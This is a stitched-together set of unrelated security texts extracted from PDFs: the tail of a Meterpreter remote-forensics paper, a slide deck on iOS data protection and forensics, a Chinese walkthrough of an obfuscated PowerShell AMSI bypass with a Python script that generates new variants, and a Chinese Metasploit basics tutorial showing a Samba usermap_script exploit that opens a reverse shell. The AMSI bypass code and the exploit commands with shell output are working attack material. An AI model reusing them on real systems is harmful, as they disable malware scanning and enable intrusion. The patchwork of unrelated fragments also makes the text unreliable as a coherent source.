example). Usage meterpreter > run nbdserver -h USAGE: run listdrives OPTIONS: -d <opt> Device to map ("run listdrives" for possible names) -h Help menu. -i <opt> IP Address for NBD server (Default: 0.0.0.0) -p <opt> TCP Port for NBD server (Default: 10005) Once NBDserver is running, a Linux system can easily map the device using nbd-client with the following command: nbd-client localhost 10005 /dev/nbd0 Examples Imaging a Remote Disk Recovering Deleted Files Mounting a Disk Remotely Caveats Remote forensics has the potential to be time consuming and bandwidth intensive, depending on environment and techniques used. Occasionally, API calls to determine the size of devices or volumes fail and report ridiculously large or small values. If this occurs, re-run listdrives.rb to see if it will begin reporting sizes correctly again. Rarely, if this does not work, a new meterpreter session may be needed to get it to behave again. Conclusions The ability to perform file system forensic analysis on remote compromised systems opens up new possibilities for penetration testers to find useful information on target systems. Experience forensic examiners know that a wealth of information is available in recoverable deleted files and data-carved media, and this set of tools opens that potential up to a wider audience of information security professionals. The ease at which this can be done by malicious attackers also illustrates the need to securely wipe sensitive data as it is being deleted. Previously, it may have been assumed that attackers would not have the tools or inclination to sift through unallocated space for valuable data, but this set of tools, paper, and talk shows that it is not that difficult. Acknowledgements Thanks to “Patrick HVE” for the Railgun extension on Meterpreter. Implementing these tools would have been much more complex without it. Massive thanks to Brian Carrier for providing such a great set of file system forensic tools in The Sleuth Kit that it just begged to be integrated into Metasploit somehow. Code for enumerating logical drive letters was adapted from Rob Fuller (Mubix). His post on Railgun is at http://room362.com/blog/2010/7/7/intro-to-railgun-win-api-for-meterpreter.html and should be a first-stop for anyone else wanting to play with Railgun. Thanks to Kragen Sitaker for posting a Python implementation of NBD that I (being more familiar with Python than Ruby) used as a reference when writing nbdserver.py (http:// lists.canonical.org/pipermail/kragen-hacks/2004-May/000397.html)	pdf
Evolution of iOS Data Protection and iPhone Forensics: from iPhone OS to iOS 5 Andrey Belenko & Dmitry Sklyarov Elcomsoft Co. Ltd. 1 Agenda • Basics • iOS Security before iOS 4 • iOS 4 Data Protection • iOS 5 Data Protection Changes • Summary 2 Forensics 101 Acquisition ➜ Analysis ➜ Reporting GOALS: 1. Assuming physical access to the device extract as much informa>on as prac>cal 2. Leave as li@le traces/ar>facts as prac>cal 3 iOS: Why Even Bother? • More than 5 years on the market • 360+ million iOS devices sold worldwide • 6 iPhones, 4 iPods, 3 iPads • “Smart devices” – they do carry a lot of sensitive data • Corporate deployments are increasing There was, is, and will be a real need in iPhone Forensics 4 iPhone Forensics 101 • Passcode –Prevents unauthorized access to the device –Bypassing passcode is usually enough • Keychain –System-wide storage for sensitive data –Encrypted • Storage encryption 5 iPhone Forensics 101 • Logical: iPhone Backup –Ask device to produce a backup –Device must be unlocked –Device may produce encrypted backup –Limited amount of information –Get backup from iCloud • Physical: ﬁlesystem acquisition –Boot-time exploit to run unsigned code –Device lock state isn’t relevant –Can get all information from the device • Physical+: ﬂash memory acquisition –Same requirements as for physical –Also allows recovery of deleted ﬁles! 6 The Inception Runs iPhone OS (up to 3.1.3) •Based on Mac OS X Has a crypto co-processor 06/29/2007 iPhone 7 Hardware Keys Two embedded AES keys: • GID – shared by all devices of same family • UID – unique for each and every device No known ways to extract GID/UID keys 06/29/2007 iPhone 8 Device Keys •To avoid unnecessary exposure, usage of UID/ GID keys is limited •Device keys are computed from hardware keys during boot: – 0x835 = AES_Enc (UID, 01010101010101010101010101010101); – 0x836 = AES_Enc (UID, 00E5A0E6526FAE66C5C1C6D4F16D6180); – 0x837 = AES_Enc (GID, 345A2D6C5050D058780DA431F0710E15); – 0x838 = AES_Enc (UID, 8C8318A27D7F030717D2B8FC5514F8E1); 9 iPhone OS Security Relies on chain of trust: • BootROM loads trusted iBoot • iBoot loads trusted kernel • Kernel runs trusted apps Apps must be signed • Developers can sign and run their apps on their devices ($99/yr) Applications are sandboxed 10 Breaking Free • Jailbreak – circumventing iOS security in order to run custom code • Boot-level or application-level • Tethered or untethered 11 Breaking Free • App-level JB gets kernel code execution by exploiting apps or services –e.g. Absinthe, JailbreakMe –Can be ﬁxed by new ﬁrmware • Boot-level JB loads custom kernel by breaking chain of trust –e.g. limera1n –Can’t be ﬁxed if exploits vulnerability in BootROM 12 Jailbreak+Forensics=? • Tethered JB –Host connection is required to boot into JB state –Exploit(s) are sent by the host –May leave minimal traces on the device • Untethered JB –Device is modiﬁed so that it can boot in jailbroken state by itself –Leaves permanent traces 13 Passcode (Before iOS 4) • Lockscreen (i.e. UI) is the only protection • Passcode is stored in the keychain –Passcode itself, not its hash • Can be recovered or removed instantly –Remove record from the keychain –And/or remove setting telling UI to ask for the passcode 14 Keychain (Before iOS 4) • SQLite3 DB, only passwords are encrypted • All items are encrypted with the device key (0x835) and random IV • Key can be extracted (computed) for ofﬂine use • All past and future keychain items from the device can be decrypted using that key IV Data 0 16 SHA-‐1 (Data) Encrypted with Key 0x835 15 Storage Encryption (Before iOS 4) • No encryption. 16 iPhone 3G Hardware is very similar to original iPhone No real security improvements over previous model 06/29/2007 iPhone 07/11/2008 iPhone 3G 17 iPhone 3GS New application processor Hardware storage encryption 06/29/2007 iPhone 07/11/2008 iPhone 3G 06/19/2009 iPhone 3GS 18 iPhone 3GS Forensics •Passcode: same as before •Keychain: same as before •Storage encryption: – Only user partition is encrypted – Single key for all data (FDE) – Designed for fast wipe, not conﬁdentiality – Transparent for applications – Does not affect physical acquisition This is true only for iPhone 3GS running iPhone OS 3.x 19 iPhone 4 No notable enhancements in security hardware over iPhone 3GS Shipped with iOS 4 with major security improvements 06/29/2007 iPhone 07/11/2008 iPhone 3G 06/19/2009 iPhone 3GS 06/24/2010 iPhone 4 20 iOS 4 Data Protection • More robust passcode protection • Better storage encryption – Metadata is encrypted transparently (same as before) – Per-ﬁle encryption keys • Better Keychain encryption • New backup format – Slower password recovery – Keychain items can migrate to another device 21 Protection Classes • Content grouped by accessibility requirements: –Available only when device is unlocked –Available after ﬁrst device unlock (and until power off) –Always available • Each protection class has a master key • Master keys are protected by device key and passcode • Protected master keys form system keybag –New keys created during device restore 22 Effaceable Storage • Special region of ﬂash memory to store small data items with ability to quickly erase them • Items within effaceable storage are called lockers • As of iOS 4: 960 bytes capacity, 3 lockers: –‘BAG1’ – System Keybag payload key and IV –‘Dkey’ – NSProtectionNone class master key –‘EMF!’ – Filesystem encryption key 23 System Keybag • /private/var/keybags/systembag.kb • Three layers of encryption: –System keybag ﬁle is encrypted by Data Protection –Keybag payload is encrypted before writing to disk –Master keys are encrypted with device key and/or passcode key 24 Escrow Keybag • “Usability feature” to allow iTunes to unlock the device • Contains same master keys as system keybag • Stored on the iTunes side • Protected by 256 bit random “passcode” stored on the device • With iOS 4, escrow keybag gives same powers as knowing the passcode 25 Backup Keybag • Included in the iOS backups • Holds keys to decrypt ﬁles and keychain items included with the backup • New keys are generated for each backup 26 Unlocking Keybag Protected Key WRAP = 1 Keybag (locked) Device Key Passcode Key Protected Key WRAP = 2 Protected Key WRAP = 3 Protected Key WRAP = 1 Protected Key WRAP = 3 ... Key Keybag (unlocked) Key Key Key Key ... DECRYPT UNWRAP UNWRAP UNWRAP DECRYPT DECRYPT DECRYPT if (WRAP & 0x2) if (WRAP & 0x1) 27 iOS 4 Passcode • Passcode is used to compute passcode key –Computation tied to hardware key –Same passcode will yield different passcode keys on different devices! • Passcode key is required to unlock most keys from the system keybag –Most ﬁles are protected with NSProtectionNone and don’t require a passcode –Most keychain items are protected with ...WhenUnlocked or ...AfterFirstUnlock and require a passcode 28 iOS 4 Passcode • Passcode-to-Key transformation is slow • Ofﬂine bruteforce currently is not possible –Requires extracting hardware key • On-device bruteforce is slow –2 p/s on iPhone 3G, 7 p/s on iPad • System keybag contains hint on password complexity 29 iOS 4 Passcode • 0 – digits only, length = 4 (simple passcode) 30 iOS 4 Passcode • 0 – digits only, length = 4 (simple passcode) • 1 – digits only, length ≠ 4 31 iOS 4 Passcode • 0 – digits only, length = 4 (simple passcode) • 1 – digits only, length ≠ 4 • 2 – contains non-digits, any length 32 iOS 4 Passcode • 0 – digits only, length = 4 (simple passcode) • 1 – digits only, length ≠ 4 • 2 – contains non-digits, any length Can identify weak passcodes 33 iOS 4 Keychain • SQLite3 DB, only passwords are encrypted • Available protection classes: – kSecAttrAccessibleWhenUnlocked (+ ...ThisDeviceOnly) – kSecAttrAccessibleAfterFirstUnlock (+ ...ThisDeviceOnly) – kSecAttrAccessibleAlways (+ ...ThisDeviceOnly) • Random key for each item, AES-CBC • Item key is protected with corresponding protection class master key 0 Class Wrapped Item Key Encrypted Item 0 4 8 48 34 iOS 4 Storage • Only User partition is encrypted • Available protection classes: – NSProtectionNone – NSProtectionComplete • When no protection class set, EMF key is used – Filesystem metadata and unprotected ﬁles – Transparent encryption and decryption (same as pre-iOS 4) • When protection class is set, per-ﬁle random key is used – File key protected with master key is stored in extended attribute com.apple.system.cprotect 35 iPhone 4S 06/29/2007 iPhone No known security enhancements in hardware over iPhone 4 Shipped with iOS 5 with some security improvements 07/11/2008 iPhone 3G 06/19/2009 iPhone 3GS 06/24/2010 iPhone 4 10/12/2011 iPhone 4S 36 iOS 5 Passcode • Similar to iOS 4 • iPad 3 utilizes new hardware key UID+ –Algorithm is also slightly different –No signiﬁcant changes from practical point of view 37 iOS 5 Keychain • All attributes are now encrypted (not only password) • AES-GCM is used instead of AES-CBC • Enables integrity veriﬁcation 2 Class Wrapped Key Encrypted Data (+Integrity Tag) 0 4 8 Wrapped Key Length 12 38 • New partition scheme – “LwVM” – Lightweight Volume Manager • Any partition can be encrypted • New protection classes – NSFileProtectionCompleteUntilFirstUserAuthentication – NSFileProtectionCompleteUnlessOpen • IV for ﬁle encryption is computed differently iOS 5 Storage 39 KF PubF PubKB PrivF Generate random ﬁle key (AES) Generate ﬁle public/private keys (ECC) PrivKB Master key from the system keybag (ECC) Shared Secret Encrypt com.apple. system. cprotect Creating the File NSFileProtectionCompleteUnlessOpen 40 KF PubF PubKB PrivF File key (AES) File public/private keys (ECC) PrivKB Master key from the system keybag (ECC) Decrypt com.apple. system. cprotect Reading the File NSFileProtectionCompleteUnlessOpen Shared Secret Requires a passcode (if any) 41 KF PubF PubKB PrivF File key (AES) File public/private keys (ECC) PrivKB Master key from the system keybag (ECC) Decrypt com.apple. system. cprotect Reading the File NSFileProtectionCompleteUnlessOpen Shared Secret Requires a passcode (if any) Looks pre@y much like BlackBerry way to receive emails while locked :-‐) 42 43 iOS Forensics • Acquiring disk image is not enough for iOS 4+ – Content protection keys must also be extracted from the device during acquisition – Effaceable Storage contents are also needed to decrypt dd images. • Passcode or escrow keybag is needed for a complete set of master keys • In real world it might be a good idea to extract source data and compute protection keys ofﬂine 44 UID Key Key 835 Key 89B Passcode Passcode Key systembag.kb Decrypt KDF ‘EMF!’ / ‘LwVM’ ‘Dkey’ ‘BAG1’ Effaceable Storage Class A Key (#1) System Keybag (locked) Class B Key (#2) Class C Key (#3) Class D Key (#4) Class Key #5 … Class Key #11 Decrypt FS Key Unlock System Keybag (unlocked) Must be done on the device Required to decrypt ﬁles/keychain Sufﬁcient for ofﬂine key reconstruction iOS Forensics 45 iOS Forensics iPhone iPod Touch 1 iPhone 3G iPod Touch 2 iPhone 3G iPod Touch 2 iPhone 3GS iPod Touch 3 iPad 1 iPhone 3GS iPod Touch 3 iPad 1 iPhone 4 iPod Touch 4 iPhone 4S iPad 2, iPad 3 (JB) iOS version 3.1.3 3.1.3 4.2.1 3.1.3 5.1.1 5.1.1 5.0.1, 5.1.1 Physical acquisition + + + + + Passcode recovery instant instant + instant + + Keychain decryption + + + + + Disk decryption not encrypted not encrypted not encrypted not encrypted + + 46 Conclusions • iPhone physical analysis is possible • Physical acquisition requires boot-time exploit • Passcode is usually not a problem – Due to technology before iOS 4 – Due to human factor with iOS 4/5 • Both proprietary and open-source tools for iOS 4/5 acquisition are available 47 Thank You! Questions? 48 Evolution of iOS Data Protection and iPhone Forensics: from iPhone OS to iOS 5 Andrey Belenko & Dmitry Sklyarov Elcomsoft Co. Ltd. 49	pdf
对Bypass AMSI混淆篇中的代码浅析 L.N.师傅在最后给出了我一个代码，然而我发现我根本看不懂。虽然拿来就用确实很爽，但是换个场景，过段时间或许就不可行了。于是学习了一下下面这段代码到底在干吗。看了一下觉得关键代码是 $c=[string](0..37\|%{[char] [int](29+($a+$b).substring(($_2),2))})-replace " " 于是对这串代码做学习 # 0x01 代码解析要弄懂的就是下面这几个问题： 1.0..37\|%{}：其实这个感觉猜也能猜出来，循环的一种写法,循环38次 2. $_ 是个啥？说实话一开始我也弄不明白这到底是什么写法，后来直接就是在 powershell里面写一个： $a="5492868772801748688168747280728187173688878280688776828" $b="1173680867656877679866880867644817687416876797271" //对System.Management.Automation.AmsiUtils进行解码 $c=[string](0..37\|%{[char][int](29+ ($a+$b).substring(($_2),2))})-replace " " $d=[Ref].Assembly.GetType($c) //对amsiInitFailed进行解码 $e=[string](38..51\|%{[char][int](29+ ($a+$b).substring(($_2),2))})-replace " " $f=$d.GetField($e,'NonPublic,Static') //组合起来执行 $f.SetValue($null,$true) 0..10\|%{echo($_)} 似乎是获取当前循环的值知道了这个，接着弄懂这个语句：主要就是 substring 这个函数，以及 $_2,2 在这里是做什么的：原来就是取两位数出来：其实也不难理解。当 $_=0 时，取两位( [0] [1] )；当 $_=1 时，肯定需要乘以2在往后取两位,这样才能取出来 [2] [3] 以此类推。 3.就是 -replace " "了。这个似乎是powershell的一个特性：可以看到在转换之后每个字符中都会出现空格这也是为什么我们要去掉空格的原因。 4.29+..... ASCII码中对于字母是有两位数字和三位数字的，而咱们现在的这个程序只能取出两位数字，所以需要把数字全部转到两位数字的范畴。 ($a+$b).substring(($_2),2)) $a="546579" 0..2\|%{echo($a.Substring(($_2),2))} 5.$a,$b怎么来的：每个字符转ASCII再减去29，最后把结果随机分割成两部分。 # 0x02 代码实现最后写一个简单的python脚本(可能脚本写的比较不雅观，但至少达到了可以用的境界) 最后生成一下： payload1='System.Management.Automation.AmsiUtils' payload2='amsiInitFailed' key=29 #偏差是多少比如这里是29 payload=payload1+payload2 result='' for i in payload: result+=str(ord(i)-key)#ASCII每个字符再减去key的值 print('$a="'+result[0:len(result)//2]+'"')#分割，这里对半分的。注意在这里面的除法需要两个/ print('$b="'+result[len(result)//2:]+'"') print('$c=[string](0..'+str(len(payload1)-1)+'\|%{[char][int] ('+str(key)+'+($a+$b).substring(($_2),2))})-replace " "')#解码语句，应用到别的bypass场景或许也可以 print("$d=[Ref].Assembly.GetType($c)") print('$e=[string] ('+str(len(payload1))+".."+str(len(payload1)+len(payload2)-1)+'\|% {[char][int]('+str(key)+'+($a+$b).substring(($_2),2))})-replace " "')#关键解码语句 print("$f=$d.GetField($e,'NonPublic,Static')") print("$f.SetValue($null,$true)") 效果：可以随便改变这个 29 的值，分割长度也可以随便改	pdf
Metasploit 基础知识整理此文档，纯粹出于兴趣爱好，如果有涉及版权的问题，请联系原文档的作者. 由于本人能力有限，文档中难免会有些错误，欢迎大家来信指正. [原文]http://www.offensive-security.com/metasploit-unleashed/ Metasploit 基础知识 Metasploit 框架提供了多种不同的接口，每个接口都有自己的优势与不足。尽管如此，目前仍没有一个很好的接口用于使用 MSF（尽管 msfconsole 能够访问 Metasploit 的众多特性）。当然，了解熟悉 MSF 提供的所有接口，多工作还是很有效的。 Msfcli Msfcli 为 framework 提供了一个强劲的命令行接口. root@kali:~# msfcli -h Usage: /opt/metasploit/msf3/msfcli <exploit_name> <option=value> [mode] ======================================================================= Mode Description ---- ----------- (A)dvanced 查看模块可用的一些高级参数 (AC)tions 显示附加模块的可用操作 (C)heck 对所选模块进行常规检查 (E)xecute 执行所选模块 (H)elp 显示 Msfcli 帮助信息 (I)DS Evasion 显示模块可用的 IDS 逃逸机制 (O)ptions 显示模块参数选项 (P)ayloads 显示模块可用的攻击载荷 (S)ummary 显示模块的整体信息 (T)argets 显示溢出模块可选的目标类型 msfcli 使用 “=” 为参数选项赋值，所有选项对大小写敏感。 root@kali:~# msfcli exploit/multi/samba/usermap_script RHOST=172.16.194.172 PAYLOAD=cmd/unix/reverse LHOST=172.16.194.163 E [] Please wait while we load the module tree... ## ### ## ## ## ## #### ###### #### ##### ##### ## #### ###### ####### ## ## ## ## ## ## ## ## ## ## ### ## ####### ###### ## ##### #### ## ## ## ## ## ## ## ## # ## ## ## ## ## ## ##### ## ## ## ## ## ## ## #### ### ##### ##### ## #### #### #### ### ## =[ metasploit v4.5.0-dev [core:4.5 api:1.0] + -- --=[ 936 exploits - 500 auxiliary - 151 post + -- --=[ 252 payloads - 28 encoders - 8 nops =[ svn r15767 updated today (2012.08.22) RHOST => 172.16.194.172 PAYLOAD => cmd/unix/reverse [] Started reverse double handler [] Accepted the first client connection... [] Accepted the second client connection... [] Command: echo cSKqD83oiquo0xMr; [] Writing to socket A [] Writing to socket B [] Reading from sockets... [] Reading from socket B [] B: "cSKqD83oiquo0xMr\r\n" [] Matching... [] A is input... [] Command shell session 1 opened (172.16.194.163:4444 -> 172.16.194.172:57682) at 2012-06-14 09:58:19 -0400 uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux 如果你不清楚某个模块有哪些参数，可以在所选模块字符串后面加上大写字母’O’. root@kali:~# msfcli exploit/multi/samba/usermap_script O [] Please wait while we load the module tree... Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 139 yes The target port 如果想要知道所选模块有哪些攻击载荷可用，可以在字符串后加大写字母’P’ root@bt:~# msfcli exploit/multi/samba/usermap_script P [] Please wait while we load the module tree... Compatible payloads =================== Name Description ---- ----------- cmd/unix/bind_inetd Listen for a connection and spawn a command shell (persistent) cmd/unix/bind_netcat Listen for a connection and spawn a command shell via netcat cmd/unix/bind_netcat_ipv6 Listen for a connection and spawn a command shell via netcat cmd/unix/bind_perl Listen for a connection and spawn a command shell via perl cmd/unix/bind_perl_ipv6 Listen for a connection and spawn a command shell via perl cmd/unix/bind_ruby Continually listen for a connection and spawn a command shell via Ruby cmd/unix/bind_ruby_ipv6 Continually listen for a connection and spawn a command shell via Ruby cmd/unix/generic Executes the supplied command cmd/unix/reverse Creates an interactive shell through two inbound connections cmd/unix/reverse_netcat Creates an interactive shell via netcat cmd/unix/reverse_perl Creates an interactive shell via perl cmd/unix/reverse_python Connect back and create a command shell via Python cmd/unix/reverse_ruby Connect back and create a command shell via Ruby 其他可用的选项，请参阅”msfcli -h” msfcli 的优点：  能够直接执行溢出和附加模块  对指定的任务很有效  有益于了解学习 MSF  为测试或开发一个新的溢出模块提供了便利  为完成一次性溢出提供了便利  如果你已了解溢出模块和所需选项，使用 msfcli 非常不错  在脚本和自动化操作中也很不错 msfcli 的不足：  很多方面并不像 msfconsole 那样出色  每次只能处理一个 shell  无法胜任客户端攻击任务  不支持 msfconsole 的高级自动化操作 Msfconsole msfconsole 可能是 MSF 最流行的一个接口，它提供了一个高度集中的控制台，允许你显示 Metasploit 框架所有可用的参数选项。第一次接触 msfconsole 可能很吓着你，一旦你熟悉这些命令的语法，你就能体会到这个接口的强大。内容 1. 优点 2. 运行 3. 帮助 4. Tab 自动完成优点  唯一的一种能够访问 Metasploit 众多特性的途径  为 Metasploit 框架提供了一个基于命令行的接口  包含 MSF 众多特性且最稳定的接口  支持行读取，tab 功能及命令自动补全  可以执行某些外部命令 msf > ping -c 2 www.google.com [] exec: ping -c 2 www.google.com PING www.google.com (173.194.72.147) 56(84) bytes of data. 64 bytes from tf-in-f147.1e100.net (173.194.72.147): icmp_seq=1 ttl=46 time=62.2 ms 64 bytes from tf-in-f147.1e100.net (173.194.72.147): icmp_seq=2 ttl=46 time=69.8 ms --- www.google.com ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1002ms rtt min/avg/max/mdev = 62.274/66.039/69.805/3.774 ms msf > 运行运行 msfconsole，只需在命令行窗口输入’msfconsole’。 msfconsole 位于/opt/metasploit/apps/pro/msf3 目录。 root@kali:~# msfconsole IIIIII dTb.dTb _.---._ II 4' v 'B .'"".'/\|`.""'. II 6. .P : .' / \| `. : II 'T;. .;P' '.' / \| `.' II 'T; ;P' `. / \| .' IIIIII 'YvP' `-.__\|__.-' I love shells --egypt =[ metasploit v4.5.0-dev [core:4.5 api:1.0] + -- --=[ 927 exploits - 499 auxiliary - 151 post + -- --=[ 251 payloads - 28 encoders - 8 nops msf > 帮助使用’msfconsole -h’，查看参数的具体用法。 root@kali:/# msfconsole -h Usage: msfconsole [options] Specific options: -d Execute the console as defanged -r <filename> Execute the specified resource file -o <filename> Output to the specified file -c <filename> Load the specified configuration file -m <directory> Specifies an additional module search path -p <plugin> Load a plugin on startup -y, --yaml <database.yml> Specify a YAML file containing database settings -M, --migration-path <dir> Specify a directory containing additional DB migrations -e <production\|development>, Specify the database environment to load from the YAML --environment -v, --version Show version -L, --real-readline Use the system Readline library instead of RbReadline -n, --no-database Disable database support -q, --quiet Do not print the banner on start up Common options: -h, --help Show this message 在 msfconsole 接口中使用’help’ 或 ’?’，可以查看可用命令列表。 msf > help Core Commands ============= Command Description ------- ----------- ? Help menu back Move back from the current context banner Display an awesome metasploit banner cd Change the current working directory color Toggle color connect Communicate with a host exit Exit the console help Help menu info Displays information about one or more module irb Drop into irb scripting mode jobs Displays and manages jobs kill Kill a job load Load a framework plugin loadpath Searches for and loads modules from a path makerc Save commands entered since start to a file quit Exit the console reload_all Reloads all modules from all defined module paths resource Run the commands stored in a file ...snip... Tab 自动完成设计开发 Msfconsole 的一个目的就是快速使用，其中的一个特性就是 tab 自动完成。由于可用模块有大量的分组，所以很难记住所需模块的名字和路径。同其他 shell 一样，输入你知道的内容，然后使用‘Tab’键，将会显示可用选项列表。Tab 自动完成功能依赖 ruby readline 扩展，几乎控制台下的所有命令都支持 tab 自动补全。  use exploit/windows/dce  use .netapi.  set LHOST  show  set TARGET  set PAYLOAD windows/shell/  exp msf > use exploit/windows/smb/ms use exploit/windows/smb/ms03_049_netapi use exploit/windows/smb/ms04_007_killbill use exploit/windows/smb/ms04_011_lsass use exploit/windows/smb/ms04_031_netdde use exploit/windows/smb/ms05_039_pnp use exploit/windows/smb/ms06_025_rasmans_reg use exploit/windows/smb/ms06_025_rras use exploit/windows/smb/ms06_040_netapi use exploit/windows/smb/ms06_066_nwapi use exploit/windows/smb/ms06_066_nwwks use exploit/windows/smb/ms06_070_wkssvc use exploit/windows/smb/ms07_029_msdns_zonename use exploit/windows/smb/ms08_067_netapi use exploit/windows/smb/ms09_050_smb2_negotiate_func_index use exploit/windows/smb/ms10_061_spoolss msf > use exploit/windows/smb/ms08_067_netapi Msfconsole Commands Msfconsole 有许多不同的命令选项可供选择. 内容 1 back 2 check 3 connect 4 info 5 irb 6 jobs 7 load 7.1 loadpath 7.2 unload 8 resource 9 route 10 search 10.1 help 10.2 name 10.3 path 10.4 platform 10.5 type 10.6 author 10.7 multiple 11 sessions 12 set 12.1 unset 13 setg 14 show 14.1 auxiliary 14.2 exploits 14.3 payloads 14.3.1 payloads 14.3.2 options 14.3.3 targets 14.3.4 advanced 14.4 encoders 14.5 nops 15 use back 当你完成某个模块的工作，或者不经意间选择了错误的模块，你可以使用‘back’命令来跳出当前模块。当然，这并不是必须的。你也可以直接转换到其他模块。 msf auxiliary(ms09_001_write) > back msf > msf exploit(ms08_067_netapi) > use multi/handler msf exploit(handler) > use auxiliary/dos/windows/smb/ms09_001_write msf auxiliary(ms09_001_write) > check check 可以用于检测目标主机是否存在指定漏洞，这样的不用直接对他进行溢出。目前，支持 check 命令的 exploit 并不是很多。 msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 172.16.194.134 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > check [] Verifying vulnerable status... (path: 0x0000005a) [] System is not vulnerable (status: 0x00000000) [] The target is not exploitable. msf exploit(ms08_067_netapi) > connect msfconsole 有一个小型的 netcat 克隆体，支持 SSL，proxies，pivoting，file sends。’connect’命令加 IP 地址和 Port，你就可以在 msfconsole 中与远程主机建立连接，等效于 netcat 和 telnet。 msf > connect 127.0.0.1 21 [] Connected to 127.0.0.1:21 id uid=0(root) gid=0(root) groups=0(root) 使用”connect –h”查阅具体参数列表 msf > connect -h Usage: connect [options] Communicate with a host, similar to interacting via netcat, taking advantage of any configured session pivoting. OPTIONS: -C Try to use CRLF for EOL sequence. -P <opt> Specify source port. -S <opt> Specify source address. -c <opt> Specify which Comm to use. -h Help banner. -i <opt> Send the contents of a file. -p <opt> List of proxies to use. -s Connect with SSL. -u Switch to a UDP socket. -w <opt> Specify connect timeout. -z Just try to connect, then return. msf > info ’info’命令可以查看模块的具体信息，包括所有选项，目标主机和一些其他的信息。在使用模块前，阅读模块相关的信息，有时候会达到不可预期的效果。 Info 获取的信息有:  作者和证书信息  漏洞参考(例如: CVE, BID 等)  模块使用攻击载荷时的限制 msf > info exploit/windows/smb/ms10_061_spoolss Name: Microsoft Print Spooler Service Impersonation Vulnerability Module: exploit/windows/smb/ms10_061_spoolss Version: 15518 Platform: Windows Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent Provided by: jduck <[email protected]> hdm <[email protected]> Available targets: Id Name -- ---- 0 Windows Universal Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- PNAME no The printer share name to use on the target RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE spoolss no The named pipe for the spooler service Payload information: Space: 1024 Avoid: 0 characters Description: This module exploits the RPC service impersonation vulnerability detailed in Microsoft Bulletin MS10-061. By making a specific DCE RPC request to the StartDocPrinter procedure, an attacker can impersonate the Printer Spooler service to create a file. The working directory at the time is %SystemRoot%\system32. An attacker can specify any file name, including directory traversal or full paths. By sending WritePrinter requests, an attacker can fully control the content of the created file. In order to gain code execution, this module writes to a directory used by Windows Management Instrumentation (WMI) to deploy applications. This directory (Wbem\Mof) is periodically scanned and any new .mof files are processed automatically. This is the same technique employed by the Stuxnet code found in the wild. References: http://www.osvdb.org/67988 http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-2729 http://www.microsoft.com/technet/security/bulletin/MS10-061.mspx msf > irb 使用命令’irb’，就可以进入 Ruby 的 shell 接口，这个特性有助于了解 Metasploit 的内部框架. msf > irb [] Starting IRB shell... >> puts "Metasploit-Ruby Shell" Metasploit-Ruby Shell => nil >> Framework::Version => "4.5.0-dev" >> framework.modules.keys.length => 255 >> jobs 任务指那些运行在后台的模块，’jobs’可以用于列举和终止这些任务。 msf > jobs -h Usage: jobs [options] Active job manipulation and interaction. OPTIONS: -K Terminate all running jobs. -h Help banner. -i <opt> Lists detailed information about a running job. -k <opt> Terminate the specified job name. -l List all running jobs. -v Print more detailed info. Use with -i and -l msf > load load 命令用于从 Metasploit’s 插件目录加载一个插件.使用”key=val”形式来传递参数. msf > load Usage: load [var=val var=val ...] Loads a plugin from the supplied path. If path is not absolute, fist looks in the user's plugin directory (/root/.msf4/plugins) then in the framework root plugin directory (/opt/metasploit/msf3/plugins). The optional var=val options are custom parameters that can be passed to plugins. msf > load pcap_log [] PcapLog plugin loaded. [] Successfully loaded plugin: pcap_log loadpath ’loadpath’命令可以使用指定的路径，加载第三方的模块. msf > loadpath /home/secret/modules Loaded 0 modules. unload 解除先前加载的模块和扩展的命令。 msf > unload pcap_log Unloading plugin pcap_log...unloaded. resource ’resource’命令可以执行资源(批量)文件 msf > resource Usage: resource path1 [path2 ...] Run the commands stored in the supplied files. Resource files may also contain ruby code between tags. See also: makerc msf > 有些类似 Karmetasploit 这样的攻击，使用资源文件(karma.rc)来执行一系列的命令。稍后我们会探讨如何使用。 msf > resource karma.rc [] Processing karma.rc for ERB directives. resource (karma.rc)> db_connect msf3:[email protected]:7175/msf3 resource (karma.rc)> use auxiliary/server/browser_autopwn ...snip... 批量处理的文件极大的加快了开发测试和自动化大量任务的进度，我们也可以使用’-r’来指定一个批量文件. root@kali:~# echo version > version.rc root@kali:~# msfconsole -r version.rc _ _ / \ / \ __ _ __ /_/ __ \| \|\ / \| _____ \ \ ___ _____ \| \| / \ _ \ \ \| \| \/\| \| \| ___\ \|- -\| /\ / __\ \| -__/ \| \| \| \| \|\| \| \|- -\| \|_\| \| \| \| _\|__ \| \|_ / -\ __\ \ \| \| \| \|_ \__/ \| \| \| \|_ \|/ \|____/ \___\/ /\ \___/ \/ \__\| \|_\ \___\ =[ metasploit v4.5.0-dev [core:4.5 api:1.0] + -- --=[ 936 exploits - 500 auxiliary - 151 post + -- --=[ 252 payloads - 28 encoders - 8 nops =[ svn r15767 updated today (2012.08.22) [] Processing version.rc for ERB directives. resource (version.rc)> version Framework: 4.4.0-dev.15205 Console : 4.4.0-dev.15168 msf > route ’route’命令，允许通过已建立的会话，建立 route 套接字，提供基本的隧道特性。 meterpreter > route -h Usage: route [-h] command [args] Display or modify the routing table on the remote machine. Supported commands: add [subnet] [netmask] [gateway] delete [subnet] [netmask] [gateway] list meterpreter > meterpreter > route Network routes ============== Subnet Netmask Gateway ------ ------- ------- 0.0.0.0 0.0.0.0 172.16.1.254 127.0.0.0 255.0.0.0 127.0.0.1 172.16.1.0 255.255.255.0 172.16.1.100 172.16.1.100 255.255.255.255 127.0.0.1 172.16.255.255 255.255.255.255 172.16.1.100 224.0.0.0 240.0.0.0 172.16.1.100 255.255.255.255 255.255.255.255 172.16.1.100 search msfconsole 包含一个基于正则查询的功能.如果你知道你想要查找的内容，你可以通过‘关键字’ 来搜索。下面的输出，表明我们完成了一次 MS Bulletin MS09-011 的搜索.这个查询方法会通过字符串来定位模块名，描述，参考等. msf > search ms08_067 Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- 